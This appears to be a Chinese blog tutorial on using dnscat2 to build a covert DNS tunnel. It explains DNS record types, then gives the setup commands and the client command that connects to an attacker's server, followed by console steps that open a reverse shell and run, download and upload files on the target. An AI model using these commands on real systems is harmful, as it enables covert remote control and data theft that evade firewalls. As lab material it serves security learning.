Dnscat2实现DNS隐蔽隧道反弹Shell

目录

概述

dns简介

dnscat2简介

原理简述

漏洞复现

Dnscat2环境搭建

linux服务端搭建

linux客户端搭建 

开启隧道

Dnscat2工具命令的使用


概述

dns简介

DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,AAAAMX,CNAME,TXT,,MX,SOA,NSNULL等。

A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。

AAAA记录:记录将域名解析到一个指定的ipv6的ip上CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。

NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。

MX记录:指向的是一个邮件服务器。

TXT记录:一般是指某个主机名或域名的说明

PTR记录:反向DNS

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

本地客户端---->Local DNS server---->根域服务器

Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

dnscat2简介

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……等功能。

原理简述

Dnscat2分为两部分:客户端和服务器。

客户端:

在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端。

如果您没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显(所有域名都以dnscat为前缀,除非你破解了源代码)。防火墙经常会阻止此模式。

服务端:

Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。(注意,监听端口可以更改)

当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。

漏洞复现

Dnscat2环境搭建

kali linux(服务端,攻击机)
kali linux(客户端,靶机)

Dnscat2工具下载入口:

https://github.com/iagox86/dnscat2

可以一起搭建,先操作服务端,因gem过程很慢。

linux服务端搭建

git clone https://github.com/iagox86/dnscat2.git
(github下载慢,我已下载到本地)
cd dnscat2/server/
gem install bundler

apt-get install ruby-dev

 会提示是否需要重启,点取消(我直接回车了)

bundle install

 这里要退出root用户,使用普通用户模式安装,在安装过程中,会有提示需要使用root时输入密码:

 输入root密码,安装好显示:

linux客户端搭建 

git clone https://github.com/iagox86/dnscat2
(github下载慢,我已下载到本地)
cd dnscat2/client/
make

最后编译成功显示如下:

开启隧道

服务端操作:

ruby ./dnscat2.rb

这段复制到客户机上,记得把IP换成服务端IP:

./dnscat --dns server=x.x.x.x,port=53 --secret=2637cxxxxxxxxx0804bd50e

客户端操作:

成功后会显示Session established!

 此时服务端会显示:window created:1

服务端操作:

(直接键入单词,也可以按回车键显示输入箭头,注意输错单词没有删除键,也不能补全)

列出所有通道

windows

 进入(创建并进入)客户端隧道1

window -i 1    //1表示客户端ID

 

想知道都能进行哪些操作可输入单词help

建里反弹shell

shell

 

退出当前通道,进入shell
suspend
//表示退出当前通道
windows
//参看所有通道
window -i 5
//进入shell通道,进入后,可按ctrl+z退出当前shell,也可输入

 进入隧道后,可输入uname -a或者其他指令看返回结果:

 可对比两个服务器的内核信息,看是否显示的客户端的。

是则说明确实获取到客户端shell了!

Dnscat2工具命令的使用

help可查看控制台支持的命令,常用的有:

quit (退出控制台)

kill (中断通道)

set(设值,比如设置security=open)

windows(列举出所有的通道)

window -i (连接某个通道)

连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

clear(清屏)

delay(修改远程会话超时时间)

exec(执行远程机上的程序)

shell(得到一个反弹shell)

download/upload(两端之间上传下载文件)

supend(返回到上一层,等于快捷键ctrl+z)

exit(退出dnscat2)

参考链接

Dnscat2实现DNS隐蔽隧道反弹Shell - renblog - 博客园

『DNS隧道工具』— dnscat2_冉椿林博客的博客-CSDN博客_dnscat2

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值